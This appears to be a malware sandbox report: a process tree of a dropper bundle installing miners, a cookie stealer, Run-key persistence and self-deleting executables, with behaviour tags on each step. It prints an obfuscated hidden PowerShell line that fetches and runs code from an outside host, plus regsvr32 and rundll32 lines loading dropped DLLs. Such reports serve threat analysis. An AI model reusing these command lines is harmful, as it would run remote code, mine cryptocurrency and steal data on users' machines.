- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-GQEOR.tmp\apipostback.exe"C:\Users\Admin\AppData\Local\Temp\is-GQEOR.tmp\apipostback.exe" adan adan10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\K4nSld3fv.dll"11⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\K4nSld3fv.dll"12⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Users\Admin\AppData\Local\Temp\K4nSld3fv.dll"13⤵
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\K4nSld3fv.dllh5HQO4kV7.dll"11⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\K4nSld3fv.dllh5HQO4kV7.dll"12⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
- Blocklisted process makes network request
-
C:\Users\Admin\AppData\Local\Temp\mi5zhymib0h\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\mi5zhymib0h\cpyrix.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1108 -s 151610⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\kavofe1csqt\vict.exe"C:\Users\Admin\AppData\Local\Temp\kavofe1csqt\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\ss5wsxu0uct\sfdwdmwlnpd.exe"C:\Users\Admin\AppData\Local\Temp\ss5wsxu0uct\sfdwdmwlnpd.exe"8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\ss5wsxu0uct\sfdwdmwlnpd.exe"9⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 300010⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\bpgrfzefd2t\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\bpgrfzefd2t\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-KLHA2.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-KLHA2.tmp\Setup3310.tmp" /SL5="$50204,138429,56832,C:\Users\Admin\AppData\Local\Temp\bpgrfzefd2t\Setup3310.exe" /Verysilent /subid=5779⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-BJU7S.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-BJU7S.tmp\Setup.exe" /Verysilent10⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\hjjgaa.exe"11⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\RunWW.exe"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\jg7_7wjg.exe"11⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-TAK31.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-TAK31.tmp\lylal220.tmp" /SL5="$403B4,491750,408064,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lylal220.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\S4Q48Zp0Lo5T.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\S4Q48Zp0Lo5T.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe12⤵
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lilalmixx.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\lilalmixx.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Contenuti.ppt12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe13⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^efSDMufvPSUzdTsSNqSkLWrUOtigwfhfrWkQVcbkIpNttGdVVZMgoRuykXPHYqxmFFdxHAWsDHDCoZQoNjaeDYukPyFXGPhHOgmndWgcrcLBgDXjiHTMIaWGntEBVYLOxVOUAsSRXXY$" Gli.ppt14⤵
-
C:\Users\Admin\AppData\Roaming\HKjUKaOtlPVxasnJ\Rote.exe.comRote.exe.com Q14⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\HKjUKaOtlPVxasnJ\Rote.exe.comC:\Users\Admin\AppData\Roaming\HKjUKaOtlPVxasnJ\Rote.exe.com Q15⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\HKjUKaOtlPVxasnJ\RegAsm.exeC:\Users\Admin\AppData\Roaming\HKjUKaOtlPVxasnJ\RegAsm.exe16⤵
- Suspicious use of SetWindowsHookEx
- System policy modification
-
C:\Users\Admin\Videos\lilal.exe"C:\Users\Admin\Videos\lilal.exe"17⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Videos\ethminer.exe"C:\Users\Admin\Videos\ethminer.exe"17⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"18⤵
-
C:\Users\Admin\AppData\Local\Temp\WUFServices.exe"C:\Users\Admin\AppData\Local\Temp\WUFServices.exe"18⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"19⤵
-
C:\Users\Admin\AppData\Local\Temp\WUFServices.exe"C:\Users\Admin\AppData\Local\Temp\WUFServices.exe"20⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"21⤵
-
C:\Users\Admin\AppData\Local\Temp\WUFServices.exe"C:\Users\Admin\AppData\Local\Temp\WUFServices.exe"22⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"23⤵
-
C:\Users\Admin\Videos\xmrmin.exe"C:\Users\Admin\Videos\xmrmin.exe"17⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"18⤵
-
C:\Users\Admin\AppData\Local\Temp\PULServices.exe"C:\Users\Admin\AppData\Local\Temp\PULServices.exe"18⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"19⤵
-
C:\Users\Admin\AppData\Local\Temp\PULServices.exe"C:\Users\Admin\AppData\Local\Temp\PULServices.exe"20⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"21⤵
-
C:\Users\Admin\AppData\Local\Temp\PULServices.exe"C:\Users\Admin\AppData\Local\Temp\PULServices.exe"22⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"23⤵
-
C:\Users\Admin\AppData\Local\Temp\PULServices.exe"C:\Users\Admin\AppData\Local\Temp\PULServices.exe"24⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Remove.bat" 6484 C:\Users\Admin\AppData\Roaming\HKjUKaOtlPVxasnJ\RegAsm.exe"17⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 648418⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 318⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 3014⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Runs ping.exe
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\Three.exe"11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\QXDL286UE5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\QXDL286UE5\multitimer.exe" 0 306065bb10421b26.04333812 0 10312⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\QXDL286UE5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\QXDL286UE5\multitimer.exe" 1 3.1617733133.606ca60db0ac9 10313⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\QXDL286UE5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\QXDL286UE5\multitimer.exe" 2 3.1617733133.606ca60db0ac914⤵
- Checks for any installed AV software in registry
-
C:\Users\Admin\AppData\Local\Temp\tu2ioomzlzd\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\tu2ioomzlzd\cpyrix.exe" /VERYSILENT15⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe16⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 151217⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe16⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"17⤵
-
C:\Users\Admin\AppData\Local\Temp\fo4aqf5rh3n\vpn.exe"C:\Users\Admin\AppData\Local\Temp\fo4aqf5rh3n\vpn.exe" /silent /subid=48215⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-AVGPN.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-AVGPN.tmp\vpn.tmp" /SL5="$30478,15170975,270336,C:\Users\Admin\AppData\Local\Temp\fo4aqf5rh3n\vpn.exe" /silent /subid=48216⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\hj5covnlorm\vict.exe"C:\Users\Admin\AppData\Local\Temp\hj5covnlorm\vict.exe" /VERYSILENT /id=53515⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-2NA07.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-2NA07.tmp\vict.tmp" /SL5="$502F6,140785,56832,C:\Users\Admin\AppData\Local\Temp\hj5covnlorm\vict.exe" /VERYSILENT /id=53516⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-L10T2.tmp\apipostback.exe"C:\Users\Admin\AppData\Local\Temp\is-L10T2.tmp\apipostback.exe" 535 ev17⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\0g0nctjyqdg\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\0g0nctjyqdg\Setup3310.exe" /Verysilent /subid=57715⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-3J60E.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-3J60E.tmp\Setup3310.tmp" /SL5="$70134,138429,56832,C:\Users\Admin\AppData\Local\Temp\0g0nctjyqdg\Setup3310.exe" /Verysilent /subid=57716⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-PVOE8.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-PVOE8.tmp\Setup.exe" /Verysilent17⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\exxrph51l5w\app.exe"C:\Users\Admin\AppData\Local\Temp\exxrph51l5w\app.exe" /8-2315⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\exxrph51l5w\app.exe"C:\Users\Admin\AppData\Local\Temp\exxrph51l5w\app.exe" /8-2316⤵
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\z2g2f5oikpp\HWWKFile.exe"C:\Users\Admin\AppData\Local\Temp\z2g2f5oikpp\HWWKFile.exe"15⤵
-
C:\ProgramData\1014287.exe"C:\ProgramData\1014287.exe"16⤵
-
C:\ProgramData\984586.exe"C:\ProgramData\984586.exe"16⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\51wcvnbxrgd\vcgcknhokim.exe"C:\Users\Admin\AppData\Local\Temp\51wcvnbxrgd\vcgcknhokim.exe" /ustwo INSTALL15⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 65216⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 66816⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 62816⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 66816⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 89616⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 93216⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 113616⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\3qurm51z3ek\setup_10.2_us3.exe"C:\Users\Admin\AppData\Local\Temp\3qurm51z3ek\setup_10.2_us3.exe" /silent15⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\93DAADRGH7\setups.exe"C:\Users\Admin\AppData\Local\Temp\93DAADRGH7\setups.exe" ll12⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-E8PRT.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-E8PRT.tmp\setups.tmp" /SL5="$4039A,1207014,216064,C:\Users\Admin\AppData\Local\Temp\93DAADRGH7\setups.exe" ll13⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\guihuali-game.exe"11⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install13⤵
- Loads dropped DLL
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\22.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\22.exe"11⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install13⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-D8FV1.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-D8FV1.tmp\LabPicV3.tmp" /SL5="$303AA,239334,155648,C:\Program Files (x86)\94c45254-6d52-40cc-93fb-b69707383880\Versium Research\LabPicV3.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\vqprroiqdwq\1sxp5422veg.exe"C:\Users\Admin\AppData\Local\Temp\vqprroiqdwq\1sxp5422veg.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 6529⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 6689⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 7089⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 7409⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 8849⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 9329⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 11809⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 12489⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 12169⤵
- Drops file in Windows directory
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\dufibrv0ok5\app.exe"C:\Users\Admin\AppData\Local\Temp\dufibrv0ok5\app.exe" /8-238⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\dufibrv0ok5\app.exe"C:\Users\Admin\AppData\Local\Temp\dufibrv0ok5\app.exe" /8-239⤵
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\2qkbzmg4itq\HWWKFile.exe"C:\Users\Admin\AppData\Local\Temp\2qkbzmg4itq\HWWKFile.exe"8⤵
- Executes dropped EXE
-
C:\ProgramData\7780042.exe"C:\ProgramData\7780042.exe"9⤵
- Executes dropped EXE
-
C:\ProgramData\1982792.exe"C:\ProgramData\1982792.exe"9⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\5qtd10vjxl4\cscvauk5ykp.exe"C:\Users\Admin\AppData\Local\Temp\5qtd10vjxl4\cscvauk5ykp.exe" /quiet SILENT=1 AF=7568⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\5qtd10vjxl4\cscvauk5ykp.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\5qtd10vjxl4\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617480691 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵
-
C:\Users\Admin\AppData\Local\Temp\rvd323ea0c3\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\rvd323ea0c3\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-FON16.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-FON16.tmp\IBInstaller_97039.tmp" /SL5="$30430,12302630,721408,C:\Users\Admin\AppData\Local\Temp\rvd323ea0c3\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\is-13E2L.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-13E2L.tmp\{app}\chrome_proxy.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-13E2L.tmp\{app}\chrome_proxy.exe"11⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\rm4mzxkswz4\vpn.exe"C:\Users\Admin\AppData\Local\Temp\rm4mzxkswz4\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-37062.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-37062.tmp\vpn.tmp" /SL5="$2043A,15170975,270336,C:\Users\Admin\AppData\Local\Temp\rm4mzxkswz4\vpn.exe" /silent /subid=4829⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\yl3om3sgnz2\setup_10.2_us3.exe"C:\Users\Admin\AppData\Local\Temp\yl3om3sgnz2\setup_10.2_us3.exe" /silent8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\Microsoft\App\app.bat" "9⤵
-
C:\Users\Admin\AppData\Local\Temp\2R2KKCOTQE\setups.exe"C:\Users\Admin\AppData\Local\Temp\2R2KKCOTQE\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-JVLLA.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-JVLLA.tmp\setups.tmp" /SL5="$80052,1207014,216064,C:\Users\Admin\AppData\Local\Temp\2R2KKCOTQE\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full Version.exe"4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins0000.vbs"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
